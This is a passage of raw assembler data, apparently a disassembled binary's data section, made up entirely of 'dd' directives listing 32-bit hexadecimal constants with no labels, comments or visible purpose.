dd 0A49CC128h, 3EA0004Fh, 9FB799F5h, 9B004596h, 913AFB33h
dd 5D1EFh, 479762A8h, 0B316ED9Ch, 0E6C35D17h, 5A274E00h
dd 758618FCh, 0E97A0EB5h, 72815294h, 0FCDC1F22h, 90083D7h
dd 131120BCh, 708F996Fh, 0D43400CCh, 0D8B31902h, 95004ACAh
dd 42E39694h, 9D6C1F0Dh, 6FDF2660h, 69557C00h, 6E9484B6h
dd 0F0ED00ABh, 2DD517EBh, 15004007h, 4EA496C6h, 3C98CC8Dh
dd 0B001F030h, 0E9DFDAD8h, 35AD4FFh, 84BEC500h, 20736385h
dd 74F107D3h, 0D09F6CEDh, 6B181339h, 0C4024DB8h, 0BFB9C130h
dd 3BDB6170h, 7404824h, 201DB17Fh, 715AF0E6h, 6800F19Fh
dd 5FF68042h, 27A7759h, 58C294AFh, 0C16269B4h, 65B113C0h
dd 6068E830h, 1064F067h, 8F7A4EDh, 44B2D0h, 0BC6E5C6Ch
dd 251451F8h, 8C8DA8h, 4306E970h, 0AFDC54h, 907FADA1h
dd 0F6629208h, 59074071h, 0D1F3CB49h, 8DEA3780h, 0EAA98ABh
dd 0B23BD57Ah, 91BA0136h, 0D4A9FE3Dh, 4009B7Dh, 92022AF9h
dd 0D687DBh, 202CE934h, 24AB7978h, 7ED9A600h, 0BCB8A29Eh
dd 0F57D00ADh, 7345EAC3h, 3B0021EEh, 9105D56Fh, 1C83A4C1h
dd 0C67EECh, 5EF69F2Dh, 6C30298Ch, 0A7FBD060h, 148500B6h
dd 0B31E5C26h, 0E77543A5h, 0A0EA9F02h, 402769BBh, 7A23F8h
dd 7708781h, 93FE124Eh, 849AD500h, 546827E1h, 0EFB00762h
dd 0B9BBB85Ch, 210F1820h, 980A096Ah, 8C91F569h, 0FDC1EF80h
dd 5B528Fh, 6BA52966h, 0F7B86A5Ch, 44B6E31Ch, 0E0E2984Eh
dd 45BE6E7Dh, 83E0C08Dh, 0BB551AFEh, 53006AF0h, 6D89DAD4h
dd 7A4940h, 0DE0C6B99h, 2923F15Dh, 0DA000D7Dh, 629E47E8h
dd 11585F4h, 59E3B6FBh, 32BAA80Ah, 98B85464h, 9331A02Ch
dd 0AC90EF03h, 83889262h, 0D31D8FF4h, 17ED9838h, 0F98900BAh
dd 0D33ECDB2h, 610C01F0h, 0CE8AC533h, 0CB5100DBh, 0CB37103h
dd 6A1F6EFFh, 0EB165796h, 0A1C09A1Dh, 6F1CA676h, 44044806h
dd 0AEBD4405h, 1FBBC89h, 46094C0Dh, 0D840A856h, 3CF99Ch
dd 8BCC7EF0h, 24550777h, 97CFBB00h, 0AE709344h, 658D03BAh
dd 28B09F0Eh, 6806C698h, 90618824h, 0A6D50100h, 0EEA1D3B3h
dd 2B5F00FAh, 0B8A787BBh, 32001489h, 3F5D123Eh, 7FAE1D50h
dd 0FBA40375h, 84EF0502h, 580B7900h, 606D5218h, 58574CE3h
dd 0FC37900h, 7EB8245Ch, 0DAAFE412h, 0FCC27801h, 48302C8Ah
dd 2837C1Eh, 0AC15594Dh, 0B88AC6DFh, 8AB9035Dh, 0C1F8E59Ch
dd 5000B13Fh, 84237138h, 7C8C45h, 2C35B0CBh, 0BA264879h
dd 74B75A00h, 103851Eh, 84E158B5h, 0D9003B39h, 0BAB09EAAh
dd 0AE00EFE5h, 1DC9567Bh, 1862D0B4h, 408AEA57h, 0FD00DD72h
dd 0C519DA2Ch, 38B5D7h, 42CEAD30h, 41D2E4B8h, 1A76C400h
dd 21981C8Eh, 395F1351h, 0DB044096h, 54916975h, 24178800h
dd 4D3F2ACEh, 4A1100EEh, 33E2A85Dh, 5600D487h, 800358B5h
dd 211EB0h, 3B61DA8Bh, 16AEDB68h, 6C0711C0h, 88350A9Ch
dd 0EE0006CAh, 9793A381h, 7D08ABh, 0E2D3481Bh, 5C5AF9Bh
dd 0EAF3E400h, 6D40F7F6h, 71BD01B5h, 0A3093517h, 8060FEA1h
dd 0AB39DBF8h, 0C514800Eh, 0A49EFFEBh, 1D2B030Ah, 77A77CB5h
dd 544020DFh, 23006F49h, 39D3DD9Ah, 0F5F7A0Ch, 0F7022B8h
dd 9F9DC260h, 270EC8B5h, 60FA3CA4h, 0AEBC4A99h, 3018FCDFh
dd 8FF0A7E2h, 92127632h, 0AC0038DAh, 3B417FACh, 0D9FC0063h
dd 142EF9F6h, 2724D843h, 6A00E8EDh, 0E6952A6Eh, 0E39C002Fh
dd 60E9178Ah, 52E6D121h, 1D15EB00h, 4625AE9Dh, 0B17AC7h
dd 0C1FFA266h, 0D979E8BFh, 1ED38700h, 0B7657177h, 8B208h
dd 1B3C1792h, 0E058B263h, 83B97900h, 42AA3F11h, 0A3641F5Ch
dd 80C026ECh, 6C444780h, 0FD00DEFFh, 88714518h, 75BCDF9h
dd 0B76A07F8h, 28A42A24h, 9DC700D4h, 7BF3C914h, 0A00E699h
dd 0AC7856F8h, 0F2B96653h, 80F6076Dh, 737152B3h, 0A00849B0h
dd 417CCCh, 3E0C7F68h, 620EFD20h, 43B854FCh, 91602F86h
dd 90418823h, 0D16047DDh, 0B058C1AAh, 0D4A40C6Ch, 40004BBDh
dd 3270D257h, 0FB8E41E0h, 42F8D0h, 0A59AC371h, 7A28B350h
dd 1827E800h, 4A68825Eh, 89AC0017h, 0A7A3EE8Eh, 2C00C1BBh
dd 6ED7CC25h, 7D34A5B9h, 0AFBD00DDh, 1A7E7923h, 8079855Bh
dd 4F086E01h, 0DB93FB11h, 11755ECh, 14799954h, 813AA2CFh
dd 0E4B9F8D8h, 6BC445C9h, 0FD13C57h, 9B59DE8Fh, 212729E0h
dd 3100B1CAh, 6BCC96B3h, 521EA0h, 0D9ACE9F6h, 27346F7Ch
dd 89FAC902h, 0C0F1D108h, 1C660C6Ch, 40022EC8h, 0A33EBFADh
dd 6214576Eh, 1CCCF60h, 94F34035h, 63EC83B3h, 0AE660055h
dd 9728F2EFh, 0D700292Ch, 5B3577DFh, 2EED1F4h, 0C02E6303h
dd 605F4CB1h, 2C516161h, 1241776h, 7F444E22h, 40CC2029h
dd 0FB683E1Dh, 644B0880h, 12065Eh, 2D2A857Ch, 0AA21070Bh
dd 100CCB2h, 7F0AA095h, 9890EE57h, 0E9AF003Ch, 0FEF0DAF7h
dd 0B10FED43h, 40A17FB4h, 0B0226D1Fh, 3710050h, 0DBA56F1Eh
dd 0FD059A7Ah, 528628FBh, 7F2C5490h, 672012E6h, 695C00E2h
dd 0C3DBBD1Bh, 0C0E36601h, 592AA147h, 90B636C8h, 151C0620h
dd 40610E34h, 5C0C3301h, 223E0AF8h, 4C7246C0h, 3A012A15h
dd 5753FFCFh, 0B9388BC0h, 0DE48803Eh, 0EC37033Fh, 87AE2692h
dd 60C180DCh, 0C911395Ah, 0EBE65D1Dh, 0F08460B3h, 1F0ED05Bh
dd 0BA592787h, 0E2E3B080h, 742F3D98h, 0B685230Fh, 0CD91603Ah
dd 1A9DF8h, 0E4EC7E58h, 6B6D05DEh, 0F9922901h, 0F05A09C5h
dd 175373C0h, 20338028h, 0B7F6C708h, 9A449113h, 75082C00h
dd 5A02E3h, 9728157h, 1BA33B50h, 0FA1F5302h, 6088F1C3h
dd 55679h, 8FC46F5Bh, 19E6640Fh, 2A7FFCB8h, 0EF882B03h
dd 98269432h, 1B0266h, 57F48547h, 1715F648h, 2E3A9300h
dd 9A696407h, 0F8580E24h, 19407B14h, 7FA29296h, 28E03900h
dd 0AA95ED2Fh, 29DF078Bh, 0E042BF6Bh, 2615F762h, 0B4224D0Eh
dd 908043A6h, 4EF2A8D6h, 6B1600DDh, 0E8A00705h, 900C0EDh
dd 80AF46CCh, 0FD405Fh, 0EE4B82F6h, 0B9E62C2Fh, 0D8D64300h
dd 0C02021D0h, 7D3A0028h, 7F6541B8h, 0D099988h, 53251A4h
dd 0A8CC3420h, 2FE940E1h, 0B7C6AA03h, 893F0D6Bh, 6FDC99F7h
dd 1C35EA9Fh, 0C0130h, 3476D958h, 4D12EE5Ch, 0B4003AC4h
dd 0E6177007h, 73EA1C77h, 548FBCA0h, 5809FFFh, 52559727h
dd 82BB5125h, 60B8AE7Ch, 7532C60h, 5408EC4Ch, 635B7087h
dd 0D900BB15h, 1E1975C8h, 244C3D95h, 0C47CD5h, 402A44BFh
dd 96092F64h, 9410A3h, 0DBC843B8h, 0E3D0B25h, 0D4809B75h
dd 58EDCDD3h, 0DCAE0A00h, 0FC579FE5h, 0B23E0027h, 0D2222B99h
dd 0C308F18Dh, 76F5CCh, 3994E45Ah, 0EDB8B4BEh, 0C2139D00h
dd 520A2DD7h, 26CC00E3h, 0CFA1A940h, 770003CAh, 3173F5D3h
dd 7108015Dh, 0D0961D97h
dd 8C00A527h, 1E9ADA94h, 3BB48100h, 0F5D6B14h, 10AA0076h
dd 0D73CDCF7h, 0E42461F2h, 71002895h, 0D32D1F22h, 8B7F33h
dd 62E7BB3Eh, 6E6FD01h, 0F420D00h, 4EE4F42Dh, 0D8AB037Dh
dd 362C34A4h, 12901AF8h, 4982A71Ch, 6B990C40h, 1856FC10h
dd 162664BBh, 0C100A96Ch, 8019F891h, 218B45h, 856555E0h
dd 0A7D73067h, 322B3900h, 7FF624C7h, 6C2101E5h, 4553A5BBh
dd 2BE1D068h, 288511C0h, 9A639814h, 176B074Ch, 72EC75E4h
dd 3446DA5Eh, 0B62120h, 86F8036Fh, 0A4ACDD54h, 6995A500h
dd 7E659C5Fh, 0EA2E63Eh, 0C81B1F84h, 7F797860h, 0F80047BAh
dd 4968993Bh, 0DD6F74h, 0D4665485h, 0CB9C23F1h, 20001674h
dd 380C69F6h, 3053BB7h, 0C1138B17h, 7200A35Dh, 99B41166h
dd 0FE4D21h, 0C99A10E2h, 85318E6Eh, 0D216930Fh, 2757A1BEh
dd 24208CDEh, 78EF1372h, 81181C0Fh, 0C184754Ch, 603461B3h
dd 2200BACCh, 0F27A0B3Ch, 3ACE536Ah, 5AC1FCAh, 0B93F01D4h
dd 30147042h, 0C400E66Ch, 3E37DED6h, 1EDFE0F5h, 0B99D0306h
dd 93759880h, 10D72DFFh, 0AACEBA2Eh, 0A356B300h, 0FA536Dh
dd 0E842FC77h, 20B980F1h, 950AB405h, 0A480235Dh, 0DCBEDEh
dd 0DA0768Eh, 0EBCCD44Eh, 4F00AAFCh, 0F4D94ACEh, 5C2D3CBh
dd 575B792Bh, 142080B6h, 600759Dh, 3FC1E24Fh, 3313976Dh
dd 3BC0CC36h, 22A94EF8h, 0AD10CD64h, 10B4CE0h, 17F8DC3Ah
dd 0C4C86BE8h, 5F2E31Dh, 7849A5Ch, 0B5C22B80h, 0E92A8ED0h
dd 95A700D3h, 0DA6D311Ah, 18921FC1h, 0DE71E812h, 0CCCE9300h
dd 0E25759CFh, 0F17517C4h, 84E0430Ch, 5E10E77h, 6394EC3Fh
dd 0ED6CF500h, 0D3E4C1DDh, 2F370099h, 0EB1E8387h, 63EA9DD2h
dd 0D49D0A0h, 5BAE9E00h, 59BABC6Eh, 0A4345CE4h, 0F69ADB38h
dd 4280603Eh, 0F1323650h, 0BCC39B00h, 68A257Bh, 15B11347h
dd 9C110093h, 38025E9Eh, 8E4BD83Fh, 0C3D5A1BEh, 885B2984h
dd 0E4A6B513h, 45BD1774h, 0A54004Dh, 0D2BA122Dh, 94630502h
dd 0C0E13D0Eh, 0B9174D8h, 0EC2C5728h, 23A6F0A3h, 0FA84C5E8h
dd 3F00AA90h, 6B2E2A13h, 8D0CACh, 4149566Ch, 828AB96Fh
dd 40C4CD2Eh, 0A15D0Eh, 2C807111h, 0C12D008Fh, 95F343B6h
dd 844EDD99h, 44CEE840h, 0E70151h, 5A8F3F18h, 0C92D9E67h
dd 0ED35AC0Eh, 8FD28F90h, 0EF27C07Dh, 0F2D706F0h, 140CB881h
dd 98424EC1h, 400DCC17h, 2B4399E4h, 0CD002425h, 166EADB2h
dd 0F53B3Dh, 0C706059Dh, 743FE0AAh, 0CA263300h, 51AD80FDh
dd 3B080083h, 1C614EDDh, 4B501E25h, 0D42E3298h, 0D382EC3Ah
dd 602C72B3h, 24B89ADCh, 30868A8h, 1486B4E1h, 5B9802ABh
dd 9A3D8AC0h, 0EA1800E7h, 719E1274h, 0F01F00BDh, 1B550E7Ch
dd 0E31C5C05h, 2B84CEE4h, 30F0586Ch, 0C0C900B1h, 61E55E02h
dd 6F5DA2D9h, 64AC0ACh, 1796F1B8h, 1D709C04h, 0AB1C7BF8h
dd 40A11EBDh, 1C827C51h, 0D97E26DFh, 0D2559800h, 5DB32DFBh
dd 74587AB5h, 0DBFA9Fh, 0D311EF56h, 0A1A49CC4h, 0C52FDD00h
dd 2C89665Bh, 0B0D40118h, 57C393AAh, 2116F1A7h, 5F1440BEh
dd 0D97CBA1Ch, 0ABAF8600h, 5DBBD71Dh, 66360693h, 10D60B81h
dd 3E3A5F00h, 14B6A4FAh, 4A8E0FCCh, 0F3844918h, 915CE08Bh
dd 0C9882C3h, 8F799043h, 0BC90E1h, 0B9931895h, 0B7344DDDh
dd 0CA1DE414h, 0DB791090h, 8CD04539h, 64D60099h, 0FC0B4D4Fh
dd 0AA003639h, 0B921FB81h, 2F0CFC1h, 5AD2D3C4h, 61C071E0h
dd 0F004359h, 3FA02D66h, 98E86298h, 3CCE00F8h, 14586F1Dh
dd 111A3E0Dh, 41101E7Ch, 98FCEA60h, 2290005Ch, 0AF1C30F0h
dd 38007B7Ch, 647F928Fh, 0E79B3940h, 8180D887h, 4D0EC02Dh
dd 99381FB3h, 62660BD7h, 0EFF50063h, 717911A8h, 93DE00FAh
dd 1A672834h, 0F40EB1BEh, 203705A0h, 0D1C291EEh, 299812D0h
dd 824C1E50h, 0E472F610h, 0B600B470h, 78FAAEDh, 0FEB556C8h
dd 772B0486h, 8088554Eh, 0A2576118h, 0C0930C09h, 9B80F58Bh
dd 875DEC18h, 0F9321B00h, 8F605372h, 0A4AD006Ah, 0F2D50BD9h
dd 7001331h, 0B8679879h, 7C67EEAh, 66B785B4h, 0C9E020A0h
dd 0F3000BCDh, 0ACD6A7C4h, 1ED2CF5Fh, 0C070F14Ah, 39028E66h
dd 4D0072FEh, 9757620Dh, 0FFDA9Ah, 33E01C4Ah, 0A3AB58C7h
dd 7D004D7Fh, 552E7778h, 1257408Eh, 4043306Eh, 0C519D814h
dd 0A400A6AAh, 0F031374Fh, 7B9BE98h, 789227Ah, 1211F001h
dd 0AC0076D3h, 31FF804Ch, 48C49D6h, 13CF5CB9h, 6D90C187h
dd 4E12F4E8h, 0A846A8A0h, 784B8E0Bh, 0C4BC8298h, 27B84849h
dd 0A7A001A1h, 0A9672C7Ch, 264FFC9Dh, 8F3C6A38h, 0A0B19EF8h
dd 1FC36671h, 55DF03DCh, 6EB7A106h, 24C156B8h, 0BB8BCF02h
dd 403B15AAh, 0C53CECh, 0C336CBB1h, 0F3D5DBB2h, 0C76DDF1Ch
dd 31032547h, 0A3108129h, 84403E92h, 0FE8D553Ch, 96548043h
dd 220025F4h, 0ACB3CC21h, 263A556Bh, 74F736h, 8D267C83h
dd 32004E8Eh, 7AFBC828h, 8652AEh, 4AD93509h, 0D6A4C38Bh
dd 0ADA3E50Bh, 0BA102095h, 9801C21Ch, 250D1278h, 5C67000Ah
dd 8ABC3DA3h, 95149C00h, 6872AE47h, 4DFD0BCDh, 1807CF51h
dd 0A70200BFh, 0D91DA5A3h, 5603B9B4h, 0C834B6BAh, 90906241h
dd 9B0D034Ch, 37021707h, 0B04099E8h, 0BD01DBE8h, 9C60DCEBh
dd 0C0C65F2Dh, 5CD360h, 8EE7F3CDh, 6C44417Fh, 88B9AA0Eh
dd 4573E001h, 0EFAEA1Dh, 623A25CDh, 8F28C23h, 94F43E98h
dd 0CCE0960Eh, 28017322h, 56840DA1h, 0D99620h, 30E8B061h
dd 0F4971CF1h, 0BC07649Eh, 45C1CB19h, 6AEC59A1h, 13509C04h
dd 48B8C8B4h, 0C82D340h, 0A85CA135h, 0F33E8050h, 0E9658089h
dd 7BE81C6Eh, 18081EEFh, 0FF02804Ch, 358A17DAh, 8100157Ch
dd 5567E30Fh, 1C6D39Bh, 0DD482A1Bh, 0CAAE7361h, 0E3BCD260h
dd 0CD5AF312h, 402AF449h, 79AFBE14h, 0B3A000DFh, 646B33E9h
dd 5E029BD4h, 0BF2D5F53h, 2471B2h, 2A4ACDABh, 19016DAEh
dd 0A3D7A40Dh, 188BA7E9h, 0BC619FD4h, 0CA83C72Ch, 0FB7E1900h
dd 871AF27Fh, 0F88100BDh, 575AE056h, 4F00469Ch, 0FF3C0589h
dd 620871h, 34CA5F80h, 0C43027FAh, 83B38B00h, 72CFD995h
dd 5ABF39E9h, 7A4C5580h, 0C35C3276h, 292EBB0Eh, 0C0A1219Fh
dd 0B4406C90h, 0FDECDF9h, 2C59CBABh, 0B3235800h, 0AF00DF7Fh
dd 362A0C41h, 0F37950Ah, 6DA61488h, 0FB339CE0h, 7C38E73Dh
dd 36F8084h, 654A1050h, 60EB2458h, 17FD24BCh, 88088C07h
dd 0FDED2500h, 653F2CCEh, 1C8B7F63h, 8B1E85C1h, 0A860766Bh
dd 0E0003BCFh, 17F556D2h, 48AD63C3h, 0C40E18A8h, 94C470F3h
dd 98AB049Ch, 0BFA76F40h, 0DC94F693h, 9D5E5A00h, 0EDBE47h
dd 4D9E98C1h, 3EFEF7A3h, 0CF85F200h, 20C3CABBh, 0D479260Dh
dd 0E1430044h, 9C4ED7Eh, 2E10A800h, 0F0D9D04Dh, 135370F3h
dd 0B46654h, 6B3FF21Fh, 0E6058DDBh, 3CBD8C0Fh, 15E0F887h
dd 0C12747FBh, 65E39050h, 0AA4AD862h, 1C4C18F4h, 92B0E97h
dd 835875Eh, 3625F520h, 28016013h, 88D2B53Ch, 0EB5FD000h
dd 383B1245h, 80FB50D5h, 93C200D7h, 1C503DA5h, 903D3C7h
dd 0F283BB85h, 5F819967h, 11DFC40h, 0A9E025CFh, 6CDAF2C0h
dd 0D7705000h, 9BEF338Bh, 0D29300B0h, 7B89F7F9h, 1E0283A8h
dd 6349529Fh, 0EF80489Eh, 92CD0085h, 1E5A137Ch, 0E1025B4Ah
dd 33ECD0E6h, 801C5474h, 9107C528h, 8E00EFA2h, 1435ED1Bh
dd 0C175E4h, 4D026E9Eh
dd 7F49CDFCh, 0B785D5Ch, 0E06FA92Dh, 0A6F4F4h, 3F7043BBh
dd 9EA1A733h, 0E9454E00h, 0AA66B007h, 80C4917Dh, 0A17744E3h
dd 290258C6h, 0BCCF831Eh, 28BC784Ah, 98C4CBB7h, 66CE1204h
dd 482B0BB2h, 0B0008FD6h, 2DFAE25Bh, 5C050070h, 8E2AA0CBh
dd 0E80045F2h, 10BD9261h, 9874E9D9h, 0EE2E03D0h, 0E203477Bh
dd 40499DF8h, 0FCE69A00h, 732AB54Eh, 8E930053h, 6DCA98ADh
dd 560024A2h, 0E75116FAh, 3167D96Bh, 8D96C3B9h, 4380CF50h
dd 7800D379h, 5BD60755h, 1B093Bh, 68990A65h, 0C88B0CDEh
dd 6E86310Eh, 8708202Fh, 6085A41Fh, 0FB0FD45Bh, 123DB22Eh
dd 0A6ED0BA7h, 2D90A02Ch, 7AB31Fh, 0DAA925AAh, 44BB9B7Dh
dd 0F3009092h, 44D1F09h, 3ADC0E4h, 14A646E1h, 6FD02541h
dd 0E2008622h, 446583D3h, 3C4642Eh, 0A8068E20h, 8DBF284h
dd 0EA29C3ECh, 0B51987D0h, 714F748h, 0F14F30E4h, 3D2EA441h
dd 44C47183h, 9C0B041h, 0D1F5AAE9h, 68A1D0F5h, 6D007CBCh
dd 0E63D0FC4h, 0E54F0E40h, 198138E4h, 0E81016B0h, 0C2F848E2h
dd 31C1A876h, 935ACF1h, 183C0330h, 182FCCDDh, 79053245h
dd 3DAC4CE4h, 516E1001h, 80C4EA4Fh, 30BC0034h, 49BA6461h
dd 3C50F4C6h, 8AB0A954h, 0AA82560h, 48D6B53h, 0CD0FEDF8h
dd 1F8B83Ah, 0A56E7E34h, 2DD433F4h, 2147009Ch, 369794FDh
dd 0BB382B4Eh, 42638C57h, 7D32D65Ah, 1F4FFC4Dh, 5F020456h
dd 18D38030h, 2C3564F7h, 3D2D9D24h, 2254EC00h, 745D5557h
dd 2BA40015h, 584B56C2h, 1D002920h, 0D2C4970Dh, 379C1CF6h
dd 70A03DE5h, 9963FF2Dh, 0C66F0F00h, 20A921B0h, 70030067h
dd 0A7238C77h, 8504AB6h, 0B90EE4A8h, 0C04D522Ah, 2F9FC6AAh
dd 183F62D8h, 4C00291Eh, 832D1CA6h, 616AC1A8h, 0A01B8F80h
dd 15418D98h, 0BC349CDDh, 72EE5328h, 9FD3FECh, 0B409B234h
dd 0F17E73F0h, 446DA75Ch, 850036B8h, 78CB321Ch, 5A739Bh
dd 0A14C5DE8h, 7EAF8066h, 30A50B19h, 78893341h, 64100FF6h
dd 830ED461h, 0C320BA5Bh, 3028C22Fh, 2212608h, 0F4EF83DCh
dd 7200CDDDh, 4BC7286Bh, 0ECD8BA2Ch, 286663BCh, 42C90441h
dd 0F8E08164h, 133F57CDh, 1844C3D8h, 296A995Eh, 0F448EA0Dh
dd 54180750h, 80CEC3Dh, 2821C012h, 0C4C9F4F2h, 44DB8900h
dd 0BC1D093Eh, 217930AFh, 0B29F88D8h, 0F8BA0C40h, 1880E919h
dd 9887F81Bh, 10C01FDDh, 799CB7BCh, 738617A2h, 0A2003ECh
dd 1FD83541h, 0BB90031Ch, 0F678F505h, 63C152C8h, 2AE920h
dd 5482F807h, 2F00757Ch, 0AE0AAFF3h, 0FAE83E46h, 3DD20024h
dd 56C1D335h, 80055D8h, 43D01FAAh, 1D4239C2h, 8FFFC88Ch
dd 0AEAB1D84h, 8D484500h, 1B00165Ch, 24B5116Bh, 0E7F044h
dd 0A1FC7A45h, 0E6E223EEh, 0BDF78301h, 0A42A7969h, 1C4FFE4h
dd 886E84A5h, 0FCBB111Fh, 0C50B8FCBh, 8664CD58h, 8511E055h
dd 7BBD8604h, 48701095h, 8A1058h, 5F2598AEh, 0A12466h
dd 946E9DA6h, 0BF71331h, 6453E00h, 0CD967CB3h, 1002012Ch
dd 0C8CB9F58h, 7DAC20DCh, 5EF63700h, 79A6E2BEh, 18EC005Ch
dd 23C0FC16h, 27055B96h, 9C1E40Dh, 8A04EE80h, 5DB11FEDh
dd 4BF3C097h, 0BB6F61BDh, 5F3E1407h, 1270A6D8h, 891BDCh
dd 0FD6853C6h, 4DA38CFEh, 0FF0C1900h, 0DF2B14D7h, 0EF1D0078h
dd 539E1C06h, 40172083h, 3C184731h, 1DEBF846h, 0C0654E3Bh
dd 0D55988D6h, 5403DAB6h, 0D94FB926h, 8F12A873h, 995A0080h
dd 21D3010Bh, 0D4077785h, 26F5052Dh, 0B4725930h, 541A00DBh
dd 4FF73B13h, 0AA001727h, 0C72696D2h, 0B9FBADh, 0D9A98F2Ch
dd 4EEE54AFh, 0B6CE3000h, 31572D90h, 3B71F1Dh, 710D4EDFh
dd 6E1EF394h, 458C5CBFh, 5967ECh, 3327DAD4h, 2005A01h
dd 31A09A18h, 7EB7A3h, 0C9F3FEDDh, 0AFC60C8Fh, 0DF863400h
dd 0B921F929h, 0E22B003Dh, 6CBEA033h, 51C032A4h, 5473B3C5h
dd 50DB003Ah, 0B7BA1C2Eh, 2F0084C9h, 0CF606DFAh, 1780FA6h
dd 54D0F7C6h, 0C0399AC3h, 9D1CD163h, 0A80B0B7h, 6326A2Ah
dd 0CD3503DBh, 13F24E6Eh, 440DE92h, 0A11F042Ch, 0B9FC5973h
dd 0C1178053h, 0E2915D60h, 83B40005h, 401C5AE1h, 76002469h
dd 0EEECA23Eh, 419409h, 0A7FC2C6Bh, 3672BCF1h, 69B1701Ch
dd 6F9148C0h, 0C0A9E6h, 7183B8AFh, 6073937Ah, 90D69800h
dd 6F41F7BBh, 30AE3C67h, 7B007048h, 668B7AB7h, 5300B5B0h
dd 841ED377h, 41BB76h, 13220CB1h, 6C93F2A2h, 7B710F16h
dd 0C934A700h, 17D4801h, 443B4287h, 24CD0AFFh, 8A7D298Ch
dd 0EA084F00h, 0F266ACDBh, 95BA0771h, 7110A0E9h, 21D22E28h
dd 0BC48FE94h, 8C028932h, 0C2BEE7A6h, 8336C04Ah, 3C1B0091h
dd 0EBC1F0E4h, 890027F3h, 55710E62h, 5BFFC514h, 3D48F87Dh
dd 873202A8h, 818F36EEh, 72DF3F94h, 914DE840h, 90678F0h
dd 7ED5E0F4h, 0EDAEA602h, 0B3880843h, 0B20B856h, 62CB00B7h
dd 704ABF4Fh, 2F136782h, 1040D166h, 0B7A6547Eh, 6E900EE8h
dd 7FC06D28h, 0AE8826E3h, 0FCFFF428h, 1E25B65Ch, 6AC092CAh
dd 7053FC2Bh, 60E41Fh, 222171ADh, 0BAFDBB9h, 570A1500h
dd 5517790h, 6A9068h, 5826AC04h, 393A1436h, 0A683B301h
dd 0D1166DD7h, 57BB2C0h, 4725CC99h, 5CF03010h, 850740E7h
dd 0DDB0C275h, 22B73C10h, 9E92001Ch, 0C7F5397Fh, 7A00D90Eh
dd 91871129h, 0A52061h, 0F3C2E3E2h, 5F44CF41h, 2E6D9801h
dd 0EC6EBEFh, 2810E0FFh, 360D39BDh, 0B0C1A883h, 30F87494h
dd 0CC01CF7Ah, 553E80A5h, 0ED70FADAh, 323A0376h, 4E7124A3h
dd 0A08091EAh, 0E1E25356h, 0E3291A06h, 0BE46BDh, 0EAC08FA5h
dd 6C13800Ah, 8C74837Ch, 0FBACB803h, 0D0896412h, 15179Eh
dd 7AB503D0h, 0C7444EEDh, 8324D43Bh, 472F23D3h, 75EC909Fh
dd 92D0067h, 2C55A416h, 5E0765EBh, 2B3EC176h, 7447AB70h
dd 2420ECF2h, 1640C645h, 0D81C0095h, 6DCD7E59h, 0A2020AF2h
dd 0D049CE7h, 0EB8481BDh, 15D0E886h, 96F4A14Dh, 48F2EFC8h
dd 562824E1h, 0A0390099h, 70559343h, 270177ACh, 0C7D96C68h
dd 4830C42Fh, 87311CAEh, 80C30196h, 20055B07h, 5D78BC77h
dd 988E7100h, 81B3DFC5h, 8B400025h, 970ACC31h, 0D6000EDDh
dd 139880F0h, 2DADCh, 28384166h, 0DAB7F2Ah, 7DA64600h
dd 0F67318DDh, 0B80C1344h, 0E9751960h, 0B0A32043h, 71C52800h
dd 0B407AD3Bh, 0BC34501Fh, 0A3723D21h, 5ACF5C83h, 0D3D0A9ABh
dd 6B50B9C3h, 660064ACh, 0C1BDB426h, 0A38DC7h, 1BC92C5Eh
dd 0FE91E17Ah, 0D1E5AB06h, 306CECh, 898A4312h, 15E326FDh
dd 90F8AE00h, 0D9F21472h, 85B60B66h, 0F200BB06h, 297646AAh
dd 7D00407Dh, 0FBFDA354h, 7EBA851h, 0C3DB3E83h, 0C21CA048h
dd 4718F0D7h, 0E31884C7h, 7B11867h, 28A3110Ch, 0A6FDDD00h
dd 546258F5h, 0F8382E1Fh, 0F9B70013h, 0B0DDEAE1h, 68126103h
dd 986E1E2Ah, 6B6F342h, 853444EDh, 7902C06Dh, 3E50E0DAh
dd 479C8074h, 245AAEh, 7E29ED4Ah, 792EA3E6h, 51AAD200h
dd 65143DF5h, 3387AE2h, 0F1D53629h, 40F889C8h, 6E0725E4h
dd 4FE230F2h, 0FEBE2DE0h, 0A7CF00B5h, 0A1C1EA11h, 370099F9h
dd 1C4DF189h, 93B2BDh, 9EDE1A7Bh, 0E6D27E49h, 0A90E1F60h
dd 0A8072Dh, 0A22609BFh, 23988C70h, 3447D40Eh, 60005652h
dd 5C02385Ah, 49720E7Eh, 0A0207C61h, 0E8D45B44h, 0B3007B7Ch
dd 0A4594F89h, 1701C4h
dd 0A376109Dh, 7B53046h, 88CEF004h, 0D4D08EDAh, 3AE267h
dd 0DC3B4F72h, 0B6203055h, 7D8FBB00h, 5D71951Ch, 0CEFB00F6h
dd 0AED55BBDh, 35023C9Ah, 1A98FF4Dh, 7A48E02Dh, 52403B87h
dd 2F725E81h, 75C1CE59h, 0DCBEF0C0h, 7CB21201h, 70187844h
dd 6C3A188Fh, 2C360C3Eh, 0A3F06411h, 72DA0400h, 0A6D59EB9h
dd 99583FF8h, 0C65815Ch, 0B12C1EFCh, 0D1C211FEh, 41E834DCh
dd 5D1A0F00h, 0E7E1E451h, 0C238E298h, 0B63B5E58h, 96424C90h
dd 8B571CA1h, 5DF3430h, 0A8002ED7h, 0C78ABDC1h, 2098070Ch
dd 90F45662h, 7E10529Fh, 601E1500h, 0B8C4D4DBh, 0CEC601D9h
dd 0E61ACB73h, 2359E834h, 2E26000h, 1D4D6576h, 0B7DB007Bh
dd 16D7B492h, 6D003719h, 0DDBCEFC8h, 7DB0C5E4h, 3ED207B8h
dd 0C2F08021h, 0ECC03A50h, 0A9C0CFBDh, 0D54D3363h, 47D30019h
dd 8CFB0712h, 340F9D21h, 0CD55A020h, 318248E3h, 79379AE0h
dd 1D3888E8h, 0FB0B2802h, 0A3B1F7CFh, 8806C884h, 1C2ABEA6h
dd 40DC269Ch, 2FAF7308h, 2200A35Eh, 6E359323h, 4DE36h
dd 92C05B63h, 0BBA8DD38h, 0DF602503h, 7783364h, 90589B18h
dd 0E5616CF8h, 0A81B3000h, 947C1C3Ah, 7009DE42h, 1B298521h
dd 0FDAA3613h, 0EA0CC600h, 0CC6769Ch, 0AE394597h, 60016D0h
dd 1A22ACC4h, 488631h, 53701C60h, 0DA544E0Bh, 0D596EC03h
dd 881ECC80h, 0E1CBD6h, 4377243Eh, 0F64958DCh, 4889AE14h
dd 36D5B004h, 9818F854h, 188860D6h, 0CE8E610Eh, 65194DFAh
dd 0A6092DFAh, 19EE3980h, 0ED3A6A8Eh, 0CBC9D300h, 0B12BC00Bh
